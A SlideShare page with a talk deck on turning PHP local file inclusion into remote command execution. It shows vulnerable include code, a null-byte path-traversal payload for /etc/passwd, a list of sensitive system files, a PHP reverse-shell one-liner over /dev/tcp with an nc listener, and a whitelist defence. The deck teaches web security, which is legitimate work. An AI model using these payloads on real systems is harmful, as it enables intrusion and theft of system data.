SlideShare a Scribd company logo
6
Most read
9
Most read
10
Most read
Local File Inclusion To Remote
Command Execution [LFI <> RCE]
By
Sharath Unni
Introduction
 What is a file inclusion vulnerability?
 How the attack works?
 RFI/LFI vulnerable PHP functions
 Traverse and read local files
 PathTraversal / FI using scanners
 Reverse shell via LFI
 Other ways to inject your code
 Defending yourself
What is a file inclusion vulnerability?
 Input validation
 The application trusts/doesn’t validate the user input
 The code includes/imports other pages
 Dynamic including of the page
 When PHP includes a file it will parse any PHP code within
that file (“<?php” and “?>”)
Do not trust the user…ever !!
How the attack works?
http://192.168.109.136/dvwa/vulnerabilities/fi/?page=include
The code would be:
<?php $file =$_GET[‘file'];
include("/".$file .".php"); <--Vulnerable !!
?>
 Assign page to "../../../../etc/passwd%00“
<?php $file =$_GET[‘file'];
include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI ?>
%00 (Null CHAR) will ignore everything that comes after %00
../../../ will traverse path to root and goto /etc/passwd
RFI/LFI vulnerable PHP functions
include()
include_once()
require()
require_once()
fopen()
Common locations
 Normally, the following files are read:
/etc/passwd
/etc/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/httpd/conf/httpd.conf
 Other Unix common locations
Path Traversal / FI using scanners
http://sectooladdict.blogspot.in/ OR http://sectoolmarket.com/
We read the files,
what next?
Reverse shell via LFI
 PHP script to open an outbound TCP connection
<?php exec("bash -i >& /dev/tcp/<yourIP>/<port> 0>&1"); ?>
 Go and catch the reverse shell
nc –lp <port>
Other ways to inject your code
 Using directory traversal to read files
 Log poisoning (access.log, error.log)
 Session variables
 Uploaded files
 Emails
 Shared hosting
 FTP and other logs
Defending yourself
 <?php
 $page_files=array( 'about'=>'about.html',
 'photos'=>'photos.html',
 'contact'=>'contact.html',
 'home'=>'home.html'
 );

 if (in_array($_GET['page'],array_keys($page_files))) {
 include $page_files[$_GET['page']];
 } else {
 include $page_files['home'];
 }
 ?>
Thank You! 
References
 http://sectoolmarket.com/path-traversal-local-file-
inclusion-detection-accuracy-of-open-source-web-
application-scanners.html

More Related Content

PPTX
Bug Bounty 101
PPTX
Directory Traversal & File Inclusion Attacks
PDF
Penetration testing web application web application (in) security
PPTX
PDF
Ch 10: Hacking Web Servers
PPTX
SSRF exploit the trust relationship
PPTX
Sql injections - with example
Bug Bounty 101
Directory Traversal & File Inclusion Attacks
Penetration testing web application web application (in) security
Ch 10: Hacking Web Servers
SSRF exploit the trust relationship
Sql injections - with example

What's hot (20)

PPTX
Vulnerabilities in modern web applications
PDF
Building Advanced XSS Vectors
PPTX
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
PPTX
Secure Code Warrior - CRLF injection
PPTX
File upload vulnerabilities & mitigation
PPTX
Penetration testing reporting and methodology
PPTX
Introduction to path traversal attack
PPTX
File inclusion
PPT
Introduction to Web Application Penetration Testing
ODP
OWASP Secure Coding
PPTX
Introduction to Malware Analysis
PPTX
VAPT PRESENTATION full.pptx
PPTX
Malware Static Analysis
PPTX
Recon with Nmap
PPT
Bypass file upload restrictions
PPTX
Waf bypassing Techniques
PDF
HTTP Security Headers
PPTX
Classification of vulnerabilities
PPTX
Thick client pentesting_the-hackers_meetup_version1.0pptx
PPTX
DoS or DDoS attack
Vulnerabilities in modern web applications
Building Advanced XSS Vectors
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Secure Code Warrior - CRLF injection
File upload vulnerabilities & mitigation
Penetration testing reporting and methodology
Introduction to path traversal attack
File inclusion
Introduction to Web Application Penetration Testing
OWASP Secure Coding
Introduction to Malware Analysis
VAPT PRESENTATION full.pptx
Malware Static Analysis
Recon with Nmap
Bypass file upload restrictions
Waf bypassing Techniques
HTTP Security Headers
Classification of vulnerabilities
Thick client pentesting_the-hackers_meetup_version1.0pptx
DoS or DDoS attack
Ad

Viewers also liked (20)

PDF
How to Prevent RFI and LFI Attacks
PDF
Remote File Inclusion (RFI) Vulnerabilities 101
TXT
php Mailer
PDF
Vtu cs 7th_sem_question_papers
PPS
Tresc I Zakres Wyrazu
PDF
Frontend 'vs' Backend Getting the Right Mix
PDF
Alegria - Cirque du Solei!
DOCX
Index chrome
PDF
PHP Secure Programming
PDF
Object Oriented Programming in PHP
PDF
Top 10 Web App Security Risks
PPTX
Introduction to Web security
PDF
Web Application Security with PHP
PPTX
Web Application Security Vulnerability Management Framework
PDF
OWASP Top 10 Web Application Vulnerabilities
ODP
Top 10 Web Security Vulnerabilities
PDF
Web Security 101
PPTX
Web Security
How to Prevent RFI and LFI Attacks
Remote File Inclusion (RFI) Vulnerabilities 101
php Mailer
Vtu cs 7th_sem_question_papers
Tresc I Zakres Wyrazu
Frontend 'vs' Backend Getting the Right Mix
Alegria - Cirque du Solei!
Index chrome
PHP Secure Programming
Object Oriented Programming in PHP
Top 10 Web App Security Risks
Introduction to Web security
Web Application Security with PHP
Web Application Security Vulnerability Management Framework
OWASP Top 10 Web Application Vulnerabilities
Top 10 Web Security Vulnerabilities
Web Security 101
Web Security
Ad

Similar to Local File Inclusion to Remote Code Execution (20)

PDF
File Inclusion.pdf
PPTX
Lfi rfi
PDF
LFI to RCE Exploit with Perl Script
PDF
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
DOCX
Web-servers & Application Hacking
PPTX
Secure Code Warrior - Local file inclusion
PPTX
Secure PHP Coding - Part 1
PDF
Php vulnerability presentation
PDF
php secure
PDF
PHP LFI to Arbitrary Code Execution via rfc1867 file upload temporary files
PPTX
Security hole #5 application security science or quality assurance
PPTX
CodeIgniter i18n Security Flaw
PDF
CNIT 129S: 10: Attacking Back-End Components
PPTX
Secure Code Warrior - Remote file inclusion
PPTX
Introduction to Penetration Testing
PDF
Remote File Inclusion
PPTX
Prevent hacking
PPTX
An introduction to php shells
PDF
File include
File Inclusion.pdf
Lfi rfi
LFI to RCE Exploit with Perl Script
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Web-servers & Application Hacking
Secure Code Warrior - Local file inclusion
Secure PHP Coding - Part 1
Php vulnerability presentation
php secure
PHP LFI to Arbitrary Code Execution via rfc1867 file upload temporary files
Security hole #5 application security science or quality assurance
CodeIgniter i18n Security Flaw
CNIT 129S: 10: Attacking Back-End Components
Secure Code Warrior - Remote file inclusion
Introduction to Penetration Testing
Remote File Inclusion
Prevent hacking
An introduction to php shells
File include

More from n|u - The Open Security Community (20)

PDF
Hardware security testing 101 (Null - Delhi Chapter)
PDF
PDF
Api security-testing
PDF
Introduction to TLS 1.3
PDF
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
PDF
Talking About SSRF,CRLF
PPTX
Building active directory lab for red teaming
PPTX
Owning a company through their logs
PPTX
Introduction to shodan
PDF
Detecting persistence in windows
PPTX
Frida - Objection Tool Usage
PDF
OSQuery - Monitoring System Process
PDF
DevSecOps Jenkins Pipeline -Security
PDF
Extensible markup language attacks
PPTX
PDF
PDF
News bytes null 200314121904
Hardware security testing 101 (Null - Delhi Chapter)
Api security-testing
Introduction to TLS 1.3
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Talking About SSRF,CRLF
Building active directory lab for red teaming
Owning a company through their logs
Introduction to shodan
Detecting persistence in windows
Frida - Objection Tool Usage
OSQuery - Monitoring System Process
DevSecOps Jenkins Pipeline -Security
Extensible markup language attacks
News bytes null 200314121904

Recently uploaded (20)

PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PPTX
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
PDF
01-Introduction-to-Information-Management.pdf
PPTX
Introduction_to_Human_Anatomy_and_Physiology_for_B.Pharm.pptx
PDF
O5-L3 Freight Transport Ops (International) V1.pdf
PDF
Sports Quiz easy sports quiz sports quiz
PPTX
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
PPTX
Pharma ospi slides which help in ospi learning
PPTX
Institutional Correction lecture only . . .
PDF
Pre independence Education in Inndia.pdf
PPTX
master seminar digital applications in india
PPTX
PPH.pptx obstetrics and gynecology in nursing
PDF
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
PDF
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
PDF
Basic Mud Logging Guide for educational purpose
PDF
2.FourierTransform-ShortQuestionswithAnswers.pdf
PPTX
1st Inaugural Professorial Lecture held on 19th February 2020 (Governance and...
PDF
Abdominal Access Techniques with Prof. Dr. R K Mishra
PPTX
GDM (1) (1).pptx small presentation for students
PPTX
Renaissance Architecture: A Journey from Faith to Humanism
human mycosis Human fungal infections are called human mycosis..pptx
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
01-Introduction-to-Information-Management.pdf
Introduction_to_Human_Anatomy_and_Physiology_for_B.Pharm.pptx
O5-L3 Freight Transport Ops (International) V1.pdf
Sports Quiz easy sports quiz sports quiz
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
Pharma ospi slides which help in ospi learning
Institutional Correction lecture only . . .
Pre independence Education in Inndia.pdf
master seminar digital applications in india
PPH.pptx obstetrics and gynecology in nursing
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
Basic Mud Logging Guide for educational purpose
2.FourierTransform-ShortQuestionswithAnswers.pdf
1st Inaugural Professorial Lecture held on 19th February 2020 (Governance and...
Abdominal Access Techniques with Prof. Dr. R K Mishra
GDM (1) (1).pptx small presentation for students
Renaissance Architecture: A Journey from Faith to Humanism

Local File Inclusion to Remote Code Execution

  • 1. Local File Inclusion To Remote Command Execution [LFI <> RCE] By Sharath Unni
  • 2. Introduction  What is a file inclusion vulnerability?  How the attack works?  RFI/LFI vulnerable PHP functions  Traverse and read local files  PathTraversal / FI using scanners  Reverse shell via LFI  Other ways to inject your code  Defending yourself
  • 3. What is a file inclusion vulnerability?  Input validation  The application trusts/doesn’t validate the user input  The code includes/imports other pages  Dynamic including of the page  When PHP includes a file it will parse any PHP code within that file (“<?php” and “?>”) Do not trust the user…ever !!
  • 4. How the attack works? http://192.168.109.136/dvwa/vulnerabilities/fi/?page=include The code would be: <?php $file =$_GET[‘file']; include("/".$file .".php"); <--Vulnerable !! ?>  Assign page to "../../../../etc/passwd%00“ <?php $file =$_GET[‘file']; include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI ?> %00 (Null CHAR) will ignore everything that comes after %00 ../../../ will traverse path to root and goto /etc/passwd
  • 5. RFI/LFI vulnerable PHP functions include() include_once() require() require_once() fopen()
  • 6. Common locations  Normally, the following files are read: /etc/passwd /etc/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/httpd/conf/httpd.conf  Other Unix common locations
  • 7. Path Traversal / FI using scanners http://sectooladdict.blogspot.in/ OR http://sectoolmarket.com/
  • 8. We read the files, what next?
  • 9. Reverse shell via LFI  PHP script to open an outbound TCP connection <?php exec("bash -i >& /dev/tcp/<yourIP>/<port> 0>&1"); ?>  Go and catch the reverse shell nc –lp <port>
  • 10. Other ways to inject your code  Using directory traversal to read files  Log poisoning (access.log, error.log)  Session variables  Uploaded files  Emails  Shared hosting  FTP and other logs
  • 11. Defending yourself  <?php  $page_files=array( 'about'=>'about.html',  'photos'=>'photos.html',  'contact'=>'contact.html',  'home'=>'home.html'  );   if (in_array($_GET['page'],array_keys($page_files))) {  include $page_files[$_GET['page']];  } else {  include $page_files['home'];  }  ?>